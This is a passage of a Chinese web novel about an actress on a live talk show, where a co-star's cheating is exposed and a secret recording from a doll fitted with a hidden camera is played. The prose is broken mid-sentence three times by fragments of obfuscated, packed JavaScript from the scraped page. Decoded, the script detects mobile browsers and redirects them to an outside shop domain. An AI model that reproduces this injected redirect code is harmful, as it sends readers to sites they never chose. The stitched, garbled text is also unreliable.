因为在他们看来，说多错多，但凡这个时候主动跳出的不是沦为炮灰，就是被移花接木做替死鬼，所以消极隐身才是上上策。 隔岸观火的同时，还能赚一波热度，黑红也是红嘛。 反驳无效，孟凡文只能乖乖服从公司安排，但打心底里，并未见得将经纪人一番苦口婆心的劝诫听进去。 尤其在电影节如火如荼的当下，他满脑子想的都是，自己本该在红毯上发光发热，风靡万千，如今却只能窝在孤零零的公寓不见天日！ 如此惨烈对比，怎能不憋生苦闷？ 因此通过直播听到，电视台马上来电时，孟凡文大吃一惊，但心头隐秘窜出欢喜。 短短两分钟的反应时间，对于一个偶像包袱刻进骨子里的演员来说，充分足够。 得体的家居服，无暇的素颜妆，最最重要的，是纯天然的光线和滤镜…… 九月半的天，落地窗外夕阳西下，世界正缓慢浸入醉金色的微醺中。 所以当视频连线接通，孟凡文那张白到发光、有棱有角的脸，像不经意的，撞入这般背景与光线里…… 毫无意外，也成功撞进诸多网友的心坎里。 “Hello！好久不见啊游朝，啊，姑姑有约的观众朋友们大家好，主持人好，我是演员孟凡文。” 他热情洋溢地和所有人打过招呼，却独独漏掉，坐在镜头C位的郑希音…… 欲盖弥彰呢，还是受伤至深，眼不见为净？ 更有眼尖网友发现，就在视频接通，孟凡文调整角度之初，他身后偶然入镜的置物柜上，某一层摆放好像全是抗抑郁药物。 此留言一出，底下潜水的孟凡文粉丝们坐不住了。 注意力再回到屏幕，怎么看，怎么都觉得自家哥哥的脸，愈显透骨苍白。 于是几分钟不到，弹幕里阵营由此换了一波，前几part还围绕游朝的意外恋情，如今加码对郑希音的辱骂，以及对孟凡文的深切同情。 主持Linda同其浅聊几句，三言两语将前情简述后，这时转入正题：“那作为游朝钦点的好朋友，不知凡文有没有到现场，去支持话剧首演呢？” 当着郑希音的面问这话，不明摆开始挑事了嘛。 孟凡文只能尴尬笑笑，说：“身体抱恙，还没机会。” 毕竟是自己自作主张，游朝十分配合地立马冲他展露遗憾和关切，“那现阶段恢复好些了吗？你今天看起来精神不错！” 孟凡文点头，“谢谢，正在努力调整。” 游朝松气，“那就好，那就好。” 目光在其中一来一回，Linda微笑接话，“真羡慕两位的友谊，看你们关系这么好，想必凡文一定听说，游朝最近正在热恋吧。” “真的假的？！他居然没告诉我！”偌大荧幕里，孟凡文佯装兄弟间嗔怪的吃惊。 Linda：“那趁现在，有没有什么特别的话，想对游朝说吗？” 孟凡文笑，“当时祝福他了！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958036|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不露声色朝沙发中央，某位事不关己高高挂起，甚至状若无人扣弄起美甲的郑姓女士瞥几眼，Linda嘴角噙笑，继续又问：“那凡文目前是单身吗？” 孟凡文面露苦涩，足足缓了几秒，才道：“我想我已没力气再轻易去爱了。” “......” 这话，连Linda一时都不知该如何接了。 停顿半秒，她才又问，“是打算就过去放下了吗？” “是的。” “那既然如此，愿不愿意趁今天打开心扉，和大家聊聊呢？” Linda开始发挥专长，循循善诱的同时，不忘一针见血，“我们都知道，就在今年五月，一个微博网民突然爆料，内涵你出轨，以及郑希音知三当三，面对这样的控诉……” “这其中有很大误会！”没等她说完，孟凡文提声打断。 Linda刚想趁热打铁追问—— “哦？具体指的哪块呢？” 声音一出来，不仅现场工作人员，连大屏幕里孟凡文都愣了愣。 一直对其视若无睹、懒漫倨傲的郑希音，不知为何，这次主动抢在Linda前面跳出来。 具体哪块误会？ 嗯，这的确是个好问题，孟凡文总不能直接回答，只有自己那部分吧？ 站在他自身的利益角度，毫无疑问，想要借机洗白，势必要否认出轨，那么，便只剩下两种回答选择—— 要么，私底下真有正牌女友，但事实是同她分手后才与郑希音在一起，一切都是前女友个人的炒作报复；要么，根本没什么正牌女友，完全是那个网民疯言疯语！ 可无论哪种，只要经他口出，最后难逃一个结论，那便是—— 郑希音“知三当三”的标签立不住了。 这么想来，孟凡文才发现，自己好像掉入一场“敌死我死”的无解陷阱，要想活命，即使再不情愿，也得拉郑希音一起上岸。 索性一狠心一咬牙，全盘推翻。 他选择了第二个回答。 Linda自发代替全网观众，紧随着问出所有人好奇的问题：“那你们两位到底有没有真实交往过呢？” 孟凡文迟钝半秒：“当然。” 郑希音悠哉悠哉，“没有。” 恰好连在一起，就变成了：当然没有~~ 游朝实在没忍住好笑，冷嘲热讽，“两位的默契，还真不一般呢。” 可惜郑希音都懒得正眼瞧他，“既然我的话没人信，那继续好友连线吧，主持人——” 她冲Linda抬抬下巴，想按快进键。 Linda略带为难开口：“还是等凡文……” “不必了，一起上吧，”郑希音斩钉截铁说，“人多热闹，更何况都是熟人。” 嗯？熟人？ 这倒一下挑起Linda和观众好奇心。 因此得到允许，她朝工作人员挥挥手，很快，背对沙发台的荧幕切出分屏，跳出郑希音好友连线的图标和语音。 差不多半分钟过去，一位沙茶色长卷发，看起来大概二十出头的年轻女生，以一副甜美姣好的面容出现在大屏幕里。 直播间的弹幕，这时潮涌般，接二连三蹦出来—— 路人1号：这不从出道就一直跟随孟凡文的化妆师吗？ 站姐1号：现在不是了。 路人2号：没错没错，我一个路人，都在孟凡文的节目里见过她，好多次呢。 站姐2号：是她先背叛了我们哥哥！！ “观众朋友们大家好，想必很多粉丝看我眼熟，没错，我就是孟凡文之前的御用化妆师，也是他名副其实的正牌女友，林路伊。” Linda本着吃瓜本性，恍然大悟般，微微抬手指她，“哦~所以你就是微博里，那个‘孟凡文正牌女友061’？” 林路伊却摇摇头，“不，那不是我的账号，而是——” “是我，我的小号。” 一个慵懒到耳熟，出人意料到恐怖的声音，这时又跳出来。 13. 第 13 章 这年头，没点基本八卦储备量，以及强悍的逻辑思维能力，吃个瓜，都好像吃不太明白了。 尽管在主持Linda满腹诧异的追问下，林路伊娓娓道来，将事情来龙去脉说清楚，但还是有许多路人网友稀里糊涂，再加上弹幕里一直刷屏，搞得乌烟瘴气。 幸亏有课代表主动站出来，敲黑板了。 要论这到底是个什么事儿呢？其实简单来说啊，也很简单。 就拿孟凡文前不久刚上映的，一部职场偶像剧亲身举例吧—— 默默无闻的土根菜鸟，在借势白富美的名气荣升霸总后，开始对糟糠原配嫌弃不已，日常勾引白富美嘴硬不认，背里却用小号点赞两人八卦恋情，致使绯闻甚嚣尘上，而他坐享热度之利。 一切为了热度。 即使多次患得患失激得抑郁症复发，因霸总这句安慰，原配依然选择相信并帮助他。 直至多个好友私下点拨，出轨话题也被推上风口浪尖，霸总气急败坏暴露本性，全盘指责原配并借机甩掉她，原配才恍然醒悟，痛改前非，看似和平分手，实则暗中走上了手撕渣男的道路。 然一个人毕竟人微言轻，复仇之路有多不易，可想而知。 好在有人主动抛出橄榄枝，而那个人，原配也没料到，居然会是白富美。 听完课代表的一番总结，网友们大彻大悟。 但不防仍有钻牛角尖的，这时跳出来质疑了：既然如此，郑希音为何非开个小号出来，弄得自己一身脏呢？ 很快，底下网友们PO出各自解释—— “为了挑拨关系，让林路伊与孟凡文彻底分手吧。” “没错，Girlshelpgirls。” “不可能，疯子哪有这么好心。” “没错，想太多，我看郑就是个戏精，借机炒热度而已，跟孟没什么区别。” ...... 至于事实，到底是怎样的呢？ 林路伊也无奈耸肩，“那就要问她自己了。” 于是一众目光齐齐朝沙发聚焦。 四面灯光环绕，镜头直怼，郑希音撇撇朱砂潋滟的红唇，漫不经心的语调挑起，才说：“看他这么喜欢cosplay，反正无聊，陪他玩玩咯。” “......” 被这般狂妄的发言，激得大受刺激，唯粉们听不下去了，一个个轮番上阵，开始叫嚣，“如此儿戏，凭她们一唱一和随便说咯，有本事拿证据出来啊！” “要证据嘛，好说，”林路伊马上不屑讥笑，“蓝光DV的？还是全无马赛克的？只要平台敢放，我就敢拿。” “......” 一石又激起千层浪。 到现在，这场直播不仅是对各家粉丝心理承受力的巨大折磨，看来，也是对主持人专业素养的极强考验。 Linda缓慢拾起掉地的下巴，半晌，才重新组织好语言。 她转转头，刚想向整个事件里贯穿始终的当事人再问几句，毕竟采访讲究一个双向求证，结果却发现，不知何时，孟凡文竟然掉线。 Linda提醒的眼神抛向场控区，然设备网络一切良好，工作人员也在纳闷。 “奇怪，怎么就连不上了呢。” “这有啥奇怪的，找公关紧急开会去了呗。” “......” — 看来想重新连上孟凡文，来个双向对峙，彻底没戏了。 好友连线环节到这，已然差不多，再往下，若真应弹幕里的胡乱起哄，现场放证据…… 恐怕不是年终泡不泡汤，而是节目组饭碗还能不能端上的问题了。 于是节目组索性终止连线，Linda说完几句车轱辘话，就剩余时间和现场编辑安排，转而开始主攻另一赛道。 如果郑希音与孟凡文之间的绯闻是误会，那前不久，被记者拍到，她半夜从沈星宇家中出来，还揣着生日会上，粉丝送给沈的吗喽玩偶（沈星宇最爱的动物），总算有实质性证据了吧。 这回郑希音又该作何解释呢？ Linda：“网友们真的特别好奇，甚至后来在网上发起投票——‘这算他们的定情信物吗？’，引得全网热议。不知以希音个人角度看，会站哪边呢？” “定情，戏物……”郑希音闻而不答，反耐人寻味轻嗤。 以为她没文化，Linda暗自翻了个白眼，重复说：“是定情信物。” 郑希音冷声：“定情就免了，戏物嘛，有点意思。” Linda愣住，缓缓明白过来，“啊呵呵……你的意思是，难道这个玩偶，不是沈星宇送给你的吗？” “游戏赢的你信不信。” “别开玩笑了，粉丝亲口认证，那玩偶是她专门为沈星宇生日定制的，上面还缝有沈星宇的签名。” “哦？哪个粉丝？既然你们这么笃定，那不妨找找，有能耐找出来的话，说什么我都认。” “这，”Linda干笑两声，“不比你将玩偶展示给大家，来得更快吧。” 沙发上，郑希音换了个坐姿，继续懒漫的语气，“对哦，可怎么办呢，我早扔了啊。” 那模样，似乎笃定谁都拿她没办法。 “......” 虽不想承认，Linda确也只能附和笑笑。 眼看话题越聊越干，能怎么办？谁让郑希音刀枪不入。 然就在这档口，一位工作人员忽快速冲上台，将某个分外眼熟的玩偶塞到Linda手中，引得沙发左右的人，皆随他望去。 郑希音便看见了候场区一侧，本该待在保姆车的司机吴峰，此时不仅出现在这儿，还莫名其妙手指了指玩偶，冲她傻笑挥手。 郑希音不禁扬起眉骨，一寸一寸，生硬转动脖子。 同她冷笑的眼神对视上，宛如一把刀架在脖颈，台下米燕为求保命，忙不迭迭地摆手撇清关系。 怕她不信，米燕赶紧捡起地上题板，匆匆写下几个字，高举起来。 ——“高鹏飞指使的。” 知与不知，不过证实心中早有定论的答案。 想必，也只有他那种惯爱自作聪明的人，才会指使吴峰干这种事。 对面，Linda三言两语找了个由头，最后节目组便这么“碰巧”“捡到了”郑希音号称早已“扔了”的玩偶。 懂的都懂，郑希音也不怕被揭穿。 早看不惯她颐指气使的模样，Linda原以为这时候，多少能涮涮郑希音的锐气，毕竟身为明星，被当着全国观众面打脸，她肯定绷不住！ 可纵使如此，郑希音依然面不改色、悠哉悠哉地保持姿态。 Linda故作好心问，“确定要继续吗？” 郑希音微微然笑，如柳絮拂风，“请便。” 看得台下米燕连连摇头，内心直呼：不对，太不对了！肯定有什么幺蛾子！ 这不，米燕内心戏刚下，那头Linda贴近影灯，将玩偶怼到镜头前，刚想把找到的沈星宇签名展示给网友看，不知偶然间按到哪一处…… 奇怪的女声，突然蹦出来—— “这么晚约我到你家，说组团玩狼人杀，现在却只有你我两个人，怎么玩？” 男人声音紧随出现：“两个人，照样可以玩~~” 安静的空间，高跟鞋扑通扑通，暧昧像心跳，一声声敲击木质地板。 很快，似乎故意凑到男人面前，“哦？看来某人今晚不打算做人，想做狼呢。” 清甜女音掐起来，端的是魅惑无限，又继续：“如果你变成狼的话，那我，该是什么？” “都随你，是警察，是女巫，也可以是我的上帝~~”磁性低哑的气喘渐升急促，满满迫不及待，想听不出都难。 似乎被这句话逗乐，女人铃铃笑开，千回百转，“如果我是上帝的话，我猜你现在，已经死了。” 一阵隐约窸窣的声响过去，空气寂静了小会儿。 “那现在呢？”男人问。 伴随两下敷衍的鼓掌，女人似乎藏不住好笑，“脱衣服的速度值得称赞，但可惜了，我不喜欢小的。” 男人打趣反嗤，“你看起来，可不像会计较年龄的人。” 女人却淡而正经回答，“你错了，我指的是——各个方面小的。” “......” 又是几秒诡异的沉默。 紧随而来，一声“哐当”，类似被人拖着，骨头怼上墙壁的声响，“郑希音，我劝你不要给脸不要脸。” “想玩强的？我倒乐意奉陪，但你也知道我脾气，劳心劳力若没得到满足的话，保不齐明早出去发疯，有信心就继续吧。” “......” 男人的气声越发浓重，好似气急败坏，可一时半会儿，又找不到骂词回怼。 半晌，才听得他恨恨咬牙，挤出一句，“滚吧。” 高跟鞋继而重新落地，一声一声，再次清脆而悠然地敲击地板。 “今晚狼人杀玩得很开心，为表示纪念，床头玩偶我带走了，跟你的房间风格嘛，啧，实在不搭。” ...... 录音到此终止。 ...... 好一会儿，直播现场众人来来回回互看，却无一人敢发声。 目光接二连三地，再从桌上那只吗喽玩偶划过，各怀诡异，仿佛那是什么受过诅咒、极其恐怖的东西。 短短几分钟太像做梦，但至少，无人怀疑录音里出现的一男一女声音，正是来自大家耳熟能详的流量偶像沈星宇，以及话剧演员郑希音。 耳麦传来胡佳成的提醒，Linda率先恢复精神，掩耳盗铃般，想将玩偶收至旁边，然一个不小心手滑，玩偶滚落地板。 恰巧越过郑希音，滚到了游朝脚边。 他好心将它捡起，刚想递给工作人员，目光擦过吗喽娃娃的大眼珠，突然一暗。 他收回胳膊，“这是……摄像头吗？” “？！” 所有人防不胜防，被他突如其来的话吓一大跳。 场控人员收到指示，立马想取走玩偶检查，游朝却快一步当着镜头的面，大力拔出吗喽的一只眼珠。 结果…… 里面竟真的有个隐藏摄像头！ 场内外顿时漾起哗然惊呼！ 欣赏足够众人表情，郑希音也装模作样跟着吃惊。 游朝后知后觉的眼神朝她劈去，那意思分明在嘲弄，你就不用装了吧！ 要知道，干他们这行的人，但凡有点招黑的，都少不了经历几回类似事件，最初或许心惊胆战，甚至感觉会留下一辈子阴影，但经历次数多了，时间久了，人也都麻了。 习惯的同时，唯一有利的长进就是对这类东西异常敏感，有时候，一眼能看穿。 尤其像郑希音这种黑到发紫的体质，她不可能不知道。 原本游朝还兀自纳闷，为什么录音的最后，郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958037|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 希音会莫名其妙带走个毫不相干的玩偶，这下全都捋顺了。 生日会上送的，粉丝定制的，隐含摄像和录音，还放在卧室床头…… 所以这一切沈星宇都清楚，故意为之？还是说他也被私生粉坑了，压根不知其中玄机，还傻乎乎当做宝贝贴身收藏？ 无论如何，都细思极恐啊！ 弹幕里的粉丝留言早已炸屏，乱成一大锅粥。 眼看实时热搜版块全被直播话题占满，节目组电话被各家媒体打爆，就连现场工作人员的议论也渐渐有种压不住的趋势…… 难以想象短短时间，郑希音真凭一己之力，将整个娱乐圈颠了又颠。 胡家成终于开始担心，再继续下去恐自身难保，赶紧通知Linda，省略其他环节，直接进行收尾。 “啊哈哈，既然一切都是误会，刚好趁今天解开，给粉丝们交代，想必对今后大家各自的演艺事业是件好事，同时也是极其难忘的回忆。” Linda一边串词总结，一边将“极其难忘”几个字咬得很重。 她继续说：“可惜啊，愉快的时光总是短暂，直播面临结束，再次荣幸我们今天能邀请到两位优秀演员来现场，跟大家分享你们的故事，也预祝两位接下来的巡演顺利……” “哦对了，听说希音还有个人综艺在筹备，同样预祝成功哦！” “放心，一定会的。” 任谁都听得出客套的话术，郑希音却毫不客气接纳，连句敷衍的“谢谢”都没有。 Linda不由噎了下，问道：“这么有信心吗？” 郑希音笃定，“因为我决定ALLIN的人，只会赢，不会输。” 她说这话时目光偏转，对面一侧摄像镜头，有意无意追随着，刚好切到段方禹。 又是他。 这下，连Linda也看出端倪，“私下确有耳闻，此番希音为综艺大费周章邀请了新的摄影导演，还听说此人年纪轻轻，却已是光影杯最佳导演奖获得者！该不会——” “就是现场这位吧？” 郑希音挑眉，“你听谁说的？” Linda却不答，只大声惊呼，“真的是他啊，太年轻了！难怪能得希音如此看重，还真叫人好奇呀，既然已经亮相，不如摘下帽子，提前跟观众打声招呼吧！” 话音刚落，大屏幕里，适时投映出段方禹整个人。 躲避不及，段方禹即刻将头垂下，加上本身黑衣黑帽，观众只见镜头前一个身形高削、略显清瘦的青年，并不能完整目睹他全脸。 不明情况的，还以为乱入了现场哪位工作人员。 至于那些真正的工作人员嘛，嫌弃他的也好，冲撞他的也罢，如今个个被此番转变震惊的目瞪口呆，说不出话。 反正早晚都要露相的，按Linda意思确实没错，但事发太突然，任谁都会尴尬到荒唐。 尤其镜头和影灯一股脑怼到段方禹眼前，刺眼明光，仿若暗黑封闭审讯室里，一盏盏让人无处可逃的探灯，急于将他扒皮抽骨。 摘帽似乎已成没有选择的选择。 却在这时—— “不行。” 斩钉截铁的代答，引众人目光有所转移。 Linda率先不解，回问郑希音，“怎么了，还怕他害羞嘛？” 郑希音不为所动凝视，刚好对上那头段方禹悄然抬首，眉眼灼灼的回望。 她说：“是他长得太帅了，我不想让别人看清。” “？” 现场大多数人头顶，纷纷飘过数条黑线。 估摸只是郑希音随口一句玩笑，大抵也没谁当真。 然而米燕心中暗暗泛起无限激动，在她看来，此“看清”和彼“看轻”，简直一语双关啊，有么有啊有么有！ “那不知希音觉得，他跟游朝、孟凡文还有沈星宇比起来，哪个更帅呢？” 显然对于那回答，Linda也是不信的，她玩笑般问出这句，充其量想使绊儿，在最后关头给郑希音一个下马威。 但没想到，郑希音疯起来，当真毫无顾忌。 像听到莫大笑话，郑希音突然笑起来，“他们也配？” “！！！” 这下可好，别说收场了，整个直播间屋顶都快被弹幕里怒火和辱骂掀起来！ 更遑论现场也有不少男演员粉丝，若说得罪一家也就罢了，偏偏郑希音一口气得罪三家！ 早先为了直播，她们一直忍着，现下彻底憋不住了，勇者带头，剩下的便联合起来起哄，齐齐怂恿段方禹摘掉帽子，表面求证，实则全为针对郑希音。 正所谓千夫所指，无疾将死。 Linda乐见其成，也不再着急催场，等着看郑希音下不来台，玩脱了，把自己给玩死。 耳边起哄越来越响，面对多方责难、施压，如此情形，郑希音冷眼笑笑，随即站起身，貌似想说什么—— 背后光线忽闪了闪，面前大大小小的声音跟着提起，又蓦然骤降，悄无声息。 郑希音微微诧异，凝眉回头。 碰巧便对上偌大荧幕里，段方禹主动摘下棒球帽后，那张展露无疑、素净天然却精雕细琢的脸。 这一刻，单单面对这张脸，所有人哑巴了似的。 瞬间好像都明白了，也无一人再敢质疑，郑希音那句“伤害性极大，侮辱性更强”的话的含金量。 是的，她说的竟一点没错。 他们的确不配。 14. 第 14 章 姑姑有约采访结束的第三日。 也是郑希音窝在家中，闭门不出的第三天。 距离孟凡文经纪公司召开紧急发布会，过去二天十二个小时，距离沈星宇官方发布诽谤和单身声名，已过去一天零七个小时。 俗话说，几家欢喜几家愁。 此时此刻，米燕趴在工作室会议间的玻璃门外，一边忐忑等待着，一边偷听。 直至顶级决策者们接连走出，人群散尽，T型房间内只剩高鹏飞，她和一众牛马同事才揣着笔记本进入，准备开启另一场战斗。 没办法，谁让世界有时就是个巨大会议室，你方唱罢，我方登场。 每个人都在扮演自己，好笑的是到头来，谁也没法真正做自己。 庆幸经过观察，高鹏飞整体神色松弛，心情看起来还不错，米燕总算稍稍安心，率先问出大家最为关心的问题。 “怎么样，希音姐不会有事吧？” 毕竟事关饭碗，万一这回真惹恼领导，郑希音被雪藏，他们全部人也得跟着遭殃。 明知大家心之所系，改坐主位的高鹏飞，故意卖关子觑了所有人一眼，才幽幽道：“有惊无险，勉强过关。” 大家各自暗舒口气。 “但也别高兴太早，没到公开处决那步，只因这次直播事件牵扯太广，舆论走向尚不明朗，郑希音最后的结果，极可能直接影响总公司的股价和声誉。所以现在，对公司而言她就是个不定时炸弹，要想不被殃及，就必须打赢这场舆论战！” 高鹏飞虽不愿这时泼他们冷水，但无奈事实就如此，该说的话还得说。 公关部的小李键盘敲一段落，作为舆论战的主力军，不得不首当其冲出谋划策，“据目前统计，网络上赞同和抹黑郑希音的投票比大致为4:6，走向还算不错。” “所以呢？” “我已联系几大平台运营号，接下来，会着力将话题往女权方面引导，争取能获得更多女性粉丝和女权主义者的支持。” 女权方向…… 高鹏飞微微点头，这倒是个不错主意。 主管新媒体运营的阿花见状，也举手表示，“这两天郭氏旗下的头条、瓜皮娱乐等等，针对郑希音的黑稿陆续出来了，我方捂嘴估计效果甚微。所以我的想法是，索性自玩黑梗，让网友对黑稿一目了然，直到反感。正所谓物极必反，黑到深处自然红嘛。” “有点道理，我觉得可行。” 像一下说到心坎儿，高鹏飞点着手指，又叮嘱强调，“郭氏旗下媒体肯定不会善罢甘休，一定要重点关注，谨防后招。” “说起来，我当初还真小瞧郭旭杰那厮了，若不是刚盛总提起，谁能想到，原来胡佳成是他的人……”他自言自语的话正说一半。 “什么！你是说，姑姑有约的编导胡佳成？”米燕禁不住诧异，打断他的话。 好在高鹏飞没多计较，“是啊。” 米燕又惊，“可他哪来那么大胆子？” 不是说节目由冯青导演亲自牵的，更何况，背后更有官方坐镇嘛！ “只要私下钱管够，节目热度和流量又有保障，换做谁何乐而不为？好一份如意算盘，这回，还真便宜姓胡那小子了！” 高鹏飞鄙夷地叱骂几句，意识到场合，跟着回叹，“算了，跟你们说这些有什么用，其中弯弯绕绕，利害关系多着呢，哪是你们能明白的。” 说完，他两指屈起敲敲桌面，将话题重新引回正轨。 每个人轮流发言，剖析各自任务策略，高鹏飞提出些改进意见，确定好总体作战计划后，会议结束。 接下来迅速投入忙碌。 高鹏飞最后一个合上笔记本，起身离开，关上门没走几步，就发现跟屁虫似的，贴着他跟上来的米燕。 他头也没回，“有话快说。” 米燕腆着脸笑问，“我就还有一点好奇，你是怎么知道，那个吗喽玩偶里藏有录音？还能那么及时送到节目现场的？” 高鹏飞轻嗤，“你以为只他郭旭杰有人脉？” “什么意思？” 米燕缓慢瞪大眼，还以为，会爆出什么意想不到的惊喜，结果—— “Linda就是我的人脉。” “......” 刚好经过拐角，余光瞥后方的人突然消音，表情犹如吞了一万只苍蝇。 高鹏飞拧眉，脚步一顿，“怎么，你有意见？” 哪敢啊！米燕回神，连忙配合干笑，“呃哈哈，还真一点没看出来。” 怎不知她的话中话，但高鹏飞一时懒得较真，抬起脚步，继续往前走。 要知道，现场直播每个镜头都是争分夺秒的，她也不想想，好端端的，Linda怎会在节目末尾，浪费人力物力去介绍一个无关紧要的段方禹？ 还不是他费尽心思利用人情，提前通过气！ 事实直播那日，同郑希音通完话后，由于实在难以放心，开会中途，高鹏飞还是找了借口偷溜出去。 不仅叮嘱吴峰，他自己，也全程打开直播。 孟凡文真面目被扒光后，他便直觉，采访后续肯定要扯出沈星宇说事儿。 果不其然，当Linda状似“偶然”提起玩偶时，高鹏飞第一时间想到保姆车的后备箱。 为防郑希音又来个出其不意，他抢先一步电话吴峰，原本真打算让他随便找角落扔了，谁料，却收获了意外之喜。 这不就叫阴差阳错，巧了！ 明明有杀手锏，却偏偏揣着不用，即使做她经纪人这么久，高鹏飞还是全然搞不懂郑希音脑子里到底在想什么。 但万分明确的是，他可不像她那样有耐心。 话说到这，他回身问：“郑希音今天还是没接电话？” 身侧，米燕忙不迭迭点头，表情仿佛在说，天呐，他终于想起来问了！ 都整整三天了！不接电话，不让进门，小区门口蹲守的记者仍水泄不通，所以众目睽睽下，郑希音不可能偷溜出去。 闹出如此大乱子，还能不声不响呆着，实在不像她平时风格，再这样下去，保不齐真出什么事…… 如此情形，米燕怎能不忧心忡忡。 “她又发哪门子疯！”高鹏飞听说后反嗤。 米燕小心翼翼翻个白眼，低声吐槽，“不是你口口声声说让她休息，变相禁闭的嘛……” “就算是休息，现在也该够了。” “那我们现在去？” “不行，马上有个新人报道，我得对接，没空。哦对了你趁现在，帮我跑趟法务部和财务部吧，去取些资料回来。” 刚好随他走到电梯口，米燕愣住，放缓脚步，“那希音姐那里？” 高鹏飞并未立马回答，直至电梯“叮”的一声，他走进按下关门键，才抬起头。 笑容莫测放出句，“不是还有个人吗，换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958038|193220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他去呗。” 像早有预谋似的。 — 接到米燕第一通电话，段方禹按地址到达高档住宅区。 他并未料到，小区门、楼栋口、就连车库下，全被里三层外三层的记者围堵，插翅难飞。 十分钟后，米燕第二通电话打来，提醒他小心记者时，段方禹已使计避开人流，成功从负一楼升至顶楼。 但他还是认真说了句谢谢。 米燕听在心里，突然很不是滋味。 倘若被段方禹知晓了，高鹏飞原本的计划是利用他直播露脸后，陡然拔升居高不下的人气，引开郑希音周边的记者，不仅围魏救赵，同时制造话题。 而自己因为高鹏飞的警告，犹豫良久，错过提醒他有记者的最佳时机…… 恐怕那句谢谢，怎么都不会说出口了吧。 所以在段方禹被记者们生吞活剥，东窗事发之前，本着良心谴责，米燕才打了第二通电话，但没想到的是单凭自己，他做到了。 也许，他们都小看他了。 伴随米燕电话而来，还有几串算不上复杂的门牌密码。 出于礼貌，段方禹选择先敲门，直到毫无回应，才就密码一个个尝试输入。 “啪嗒。” 门锁猝然解开的瞬间，他的心跳，莫明跟着漏了一拍。 正值上午九点钟，暖阳当空，天空澄净而蔚蓝，像孩童画板上一幅纯色水彩，没有任何多余的笔饰。 光线大片大片从巨型落地窗穿过，将整间屋子照的透亮，白色调家具干干净净，简约利落，连摆放亦一丝不苟。 恍惚中，宛如走进商场昂贵的样板间。 或许正因没有一点人烟存在过的气息，那种高高在上、与世隔绝的空洞和冷清，便似无处不在。 段方禹怀揣这般想法，下一秒，视线不经意撞上侧对面，悬挂客厅与卧室必经之路上的，一幅油画。 他顿了顿，竟不自觉朝那幅画靠近。 脚步顿住，他抬起右手，想要轻抚画作的举动，不过出于感官迷惑下无意识反应，并非真的有此打算。 然没料到，误打误撞，与面前那堵真切似墙，实则为双开向的门实现感应。 门，就这样开了。 当那股浓郁而深沉的蓝色，像潮水般倾泻而出，似要将一切吞噬。 从头到尾白色睡裙，一动不动躺在卧室地板的郑希音，就像被浪潮裹挟后抛弃，又经过沙石磨砺、吞并，最后映衬成无人岛上，微不足道、毫不起眼的一个点。 一个白点。 段方禹飞奔进蓝色房间的刹那，狠狠踉跄，差点摔了一跤。 是的，他没注意到，那里还有几层台阶。 仅此而已。 呼吸和脉搏都在，只是微乎其微，他甚至来不及犹豫，呼唤郑希音的名字，一边双手按压上她胸口，尝试做人工呼吸。 最后大半身子压低，鼻尖蹭上鼻尖，几乎只剩一寸呼吸的距离—— 身下突然耸动。 郑希音就这么睁开眼，咯咯大笑起来。 他的目光，定格在她那张扬肆意、又略显苍透的笑脸上几秒，惊愕之后，开始变得暗默而危险。 “好玩吗？”他问。 “Emm…还不赖，我喜欢听你叫我的名字。” 段方禹闻言一顿。 下秒又听见，“尤其，带点急不可耐的粗喘。” 15. 第 15 章 眼皮难以遏制跳了跳，段方禹咬紧牙，一鼓作气站直身体，离开她很远。 更头一回，在她面前，粗鲁到接近恶毒的用词，“没死就起来。” 看来，他果真生气极了。 似乎笑得够久也够累，郑希音终于停下，目光并未向他，而直直投射天花板，不知是不是因为背光，面色显得雪白，竟开始有些上气不接下气。 到后来越来越弱，大口喘了几下，她才勉强平复。 下秒说出口的话，却让对方难得浮生的一点怜惜，瞬间破灭。 “明明刚才还想偷亲我的人，现在却一副，恨不能，掐死我的样子，难道，怪我没有让你得逞吗？” “......” 段方禹面无表情没有搭理。 她接着又笑，“好了好了，我知道了，不如我闭上眼睛，你现在继续？” 话音刚落，郑希音做戏般，准备重闭眼。 没想段方禹抢先一步，当真不知死活地大步走近，蹲下身。 她从容的笑脸闪过一丝错愕，瞳孔微张。 来不及反应，却瞧他变换视觉角度，只是淡淡扫了眼她的脸庞，似想借助微薄光线，确认什么。 不过转瞬，又站起来，用听不出任何情感波澜的口吻，他说：“你生病了？” 郑希音一时含笑无语，再启唇时，有点点噎噎的声音，“可惜啊让你失望，我只是饿了。” 明知他并非那个意思，却偏偏要往那处曲解，故意气走人的意图有点明显。 段方禹索性遂她的愿，当真转身而去，大步流星。 确认脚步声越来越远，直至消失无踪，空荡荡的静默房间，才像再难遏制般，传出几下剧烈咳嗽后，再度沉寂下来。 最后只剩急促薄弱的气喘，若隐若现。 